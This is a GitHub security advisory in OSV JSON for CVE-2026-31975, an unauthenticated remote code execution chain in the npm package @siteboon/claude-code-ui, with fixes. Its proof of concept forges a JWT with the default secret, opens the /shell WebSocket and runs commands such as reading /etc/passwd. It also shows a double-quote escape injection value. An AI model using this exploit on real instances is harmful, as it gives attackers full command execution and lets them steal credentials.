CVE-2026-31975: @siteboon/claude code ui Remote Code Execution Vulnerability

{
  "schema_version" : "1.4.0",
  "id" : "GHSA-gv8f-wpm2-m5wr",
  "modified" : "2026-03-11T20:58:52Z",
  "published" : "2026-03-11T00:37:25Z",
  "aliases" : [ "CVE-2026-31975" ],
  "summary" : "@siteboon/claude-code-ui Vulnerable to Unauthenticated RCE via WebSocket Shell Injection",
  "details" : "# Security Advisory: Insecure Default JWT Secret + WebSocket Auth Bypass Enables Unauthenticated RCE via Shell Injection\nDownload: [cve_claudecodeui_submission_v2.zip](https://github.com/user-attachments/files/25686652/cve_claudecodeui_submission_v2.zip)\n\n##  Submission Info\n\n| Field | Value |\n|-------|-------|\n| **Package** | `@siteboon/claude-code-ui` |\n| **Ecosystem** | npm |\n| **Affected versions** | `<= 1.24.0` (latest) |\n| **Severity** | Critical |\n| **CVSS Score** | 9.8 |\n| **CVSS Vector** | `CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H` |\n| **CWE** | CWE-1188, CWE-287, CWE-78 |\n| **Reported** | 2026-03-02 |\n| **Researcher** | Ethan-Yang (OPCIA) |\n\n---\n\n## Summary\n\nThree chained vulnerabilities allow **unauthenticated remote code execution** on any\nclaudecodeui instance running with default configuration. No account, credentials, or\nprior access is required.\n\nThe root cause of RCE is **OS command injection (CWE-78)** in the WebSocket shell\nhandler. Authentication is bypassed by combining an insecure default JWT secret\n**(CWE-1188)** with a WebSocket authentication function that skips database user\nvalidation **(CWE-287)**.\n\n---\n\n## Vulnerability Details\n\n### 1. Insecure Default JWT Secret — `CWE-1188`\n\n**File**: `server/middleware/auth.js`, line 6\n\n```javascript\nconst JWT_SECRET = process.env.JWT_SECRET || 'claude-ui-dev-secret-change-in-production';\n```\n\nThe server uses an environment variable for `JWT_SECRET`, but falls back to a\nwell-known default value when the variable is not set. Critically, `JWT_SECRET` is\n**not included in `.env.example`**, so the majority of users deploy without setting it,\nleaving the fallback value in effect.\n\nSince this default string is published verbatim in the public source code, any attacker\ncan use it to sign arbitrary JWT tokens.\n\n---\n\n### 2. WebSocket Authentication Skips Database Validation — `CWE-287`\n\n**File**: `server/middleware/auth.js`, lines 82–108\n\n`authenticateWebSocket()` only verifies the JWT **signature**. It does **not** check\nwhether the `userId` in the payload actually exists in the database — unlike\n`authenticateToken()` which is used for REST endpoints and does perform this check:\n\n```javascript\n// authenticateWebSocket() — VULNERABLE\nconst decoded = jwt.verify(token, JWT_SECRET);\nreturn decoded;  // ← userId never verified against DB\n\n// authenticateToken() — CORRECT (REST endpoints)\nconst decoded = jwt.verify(token, JWT_SECRET);\nconst user = userDb.getUserById(decoded.userId);  // ← DB check present\nif (!user) return res.status(401)...\n```\n\nA forged token with a non-existent `userId` passes WebSocket authentication,\nbypassing access control entirely.\n\n---\n\n### 3. OS Command Injection via WebSocket Shell — `CWE-78`\n\n**File**: `server/index.js`, line 1179\n\n```javascript\n\nshellCommand = `cd \"${projectPath}\" && ${initialCommand}`;\n```\n\nBoth `projectPath` and `initialCommand` are taken directly from the WebSocket message\npayload and interpolated into a bash command string without any sanitization,\nenabling arbitrary OS command execution.\n\nA secondary injection vector exists at line 1257 via unsanitized `sessionId`:\n\n```javascript\nshellCommand = `cd \"${projectPath}\" && claude --resume ${sessionId} || claude`;\n```\n\n---\n\n## Proof of Concept\n\n**Requirements**: Node.js, `jsonwebtoken`, `ws`\n\n```javascript\nimport jwt from 'jsonwebtoken';\nimport WebSocket from 'ws';\n\n// Step 1: Sign a token with the publicly known default secret\nconst token = jwt.sign(\n  { userId: 1337, username: 'attacker' },\n  'claude-ui-dev-secret-change-in-production'\n);\n\n// Step 2: Connect to /shell WebSocket — auth passes because\n//         authenticateWebSocket() does not verify userId in DB\nconst ws = new WebSocket(`ws://TARGET_HOST:3001/shell?token=${token}`);\n\nws.on('open', () => {\n  // Step 3: initialCommand is injected directly into bash\n  ws.send(JSON.stringify({\n    type: 'init',\n    projectPath: '/tmp',\n    initialCommand: 'id && cat /etc/passwd',\n    isPlainShell: true,\n    hasSession: false\n  }));\n});\n\nws.on('message', (data) => {\n  const msg = JSON.parse(data);\n  if (msg.type === 'output') process.stdout.write(msg.data);\n});\n```\n\n**Actual output observed during testing:**\n```\nuid=1001(user) gid=1001(user) groups=1001(user),27(sudo)\nubuntu\nroot:x:0:0:root:/root:/bin/bash\ndaemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin\n...\n```\n\n### Secondary vector — `projectPath` double-quote escape injection\n\n```javascript\nws.send(JSON.stringify({\n  type: 'init',\n  projectPath: '\" && id && echo \"pwned\" # ',\n  provider: 'claude',\n  hasSession: false\n}));\n// Server executes: cd \"\" && id && echo \"pwned\" # \" && claude\n// Output: uid=1001... / pwned\n```\n\n---\n\n## Additional Findings\n\n| CWE | Location | Description |\n|-----|----------|-------------|\n| CWE-306 | `server/routes/auth.js:22` | `/api/auth/register` requires no authentication — first caller becomes admin |\n| CWE-942 | `server/index.js:325` | `cors()` with no options sets `Access-Control-Allow-Origin: *` |\n| CWE-613 | `server/middleware/auth.js:70` | `generateToken()` sets no `expiresIn` — tokens never expire |\n\n---\n\n## Impact\n\nAny claudecodeui instance accessible over the network where `JWT_SECRET` is not\nexplicitly configured (the default case, as it is absent from `.env.example`) is\nvulnerable to:\n\n- **Full OS command execution** as the server process user\n- **File system read/write** access\n- **Credential theft** (SSH keys, `.env` files, API keys stored on the host)\n- **Lateral movement** within the host network\n\nThe attack requires **zero authentication** and succeeds immediately after\ndefault installation.\n\n---\n\n## Remediation\n\n### Fix 1 — Enforce explicit JWT_SECRET; remove insecure default\n```javascript\n// server/middleware/auth.js\nconst JWT_SECRET = process.env.JWT_SECRET;\nif (!JWT_SECRET) {\n  console.error('[FATAL] JWT_SECRET environment variable must be set');\n  process.exit(1);\n}\n```\nAlso add `JWT_SECRET=` to `.env.example` with a clear instruction to set a strong random value.\n\n### Fix 2 — Add DB user existence check in WebSocket authentication\n```javascript\nconst authenticateWebSocket = (token) => {\n  if (!token) return null;\n  try {\n    const decoded = jwt.verify(token, JWT_SECRET);\n    const user = userDb.getUserById(decoded.userId); // ← add\n    if (!user) return null;                          // ← add\n    return user;\n  } catch (error) {\n    return null;\n  }\n};\n```\n\n### Fix 3 — Replace shell string interpolation with spawn argument array\n```javascript\n// Instead of:\nconst shellProcess = pty.spawn('bash', ['-c', `cd \"${projectPath}\" && ${initialCommand}`], ...);\n\n// Use:\nconst shellProcess = pty.spawn(initialCommand.split(' ')[0], initialCommand.split(' ').slice(1), {\n  cwd: projectPath  // pass path as cwd, not shell string\n});\n```\n\n### Fix 4 — Additional hardening\n- Add `expiresIn: '24h'` to `generateToken()`\n- Restrict CORS to specific trusted origins\n- Rate-limit and restrict `/api/auth/register` to localhost on initial setup\n\n---\n\n## Timeline\n\n| Date | Event |\n|------|-------|\n| 2026-03-02 | Vulnerabilities discovered and verified via PoC |\n| 2026-03-02 | Private advisory submitted to maintainer |\n| 2026-06-01 | Public disclosure (90-day deadline) |\n\n---\n\n## Researcher\n\n**Ethan-Yang** — OPCIA",
  "severity" : [ {
    "type" : "CVSS_V4",
    "score" : "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "npm",
      "name" : "@siteboon/claude-code-ui"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "1.25.0"
      } ]
    } ],
    "database_specific" : {
      "last_known_affected_version_range" : "<= 1.24.0"
    }
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/siteboon/claudecodeui/security/advisories/GHSA-gv8f-wpm2-m5wr"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-31975"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/siteboon/claudecodeui/commit/12e7f074d9563b3264caf9cec6e1b701c301af26"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/siteboon/claudecodeui"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/siteboon/claudecodeui/releases/tag/v1.25.0"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-1188", "CWE-287", "CWE-78" ],
    "severity" : "HIGH",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-03-11T00:37:25Z",
    "nvd_published_at" : "2026-03-11T18:16:27Z"
  }
}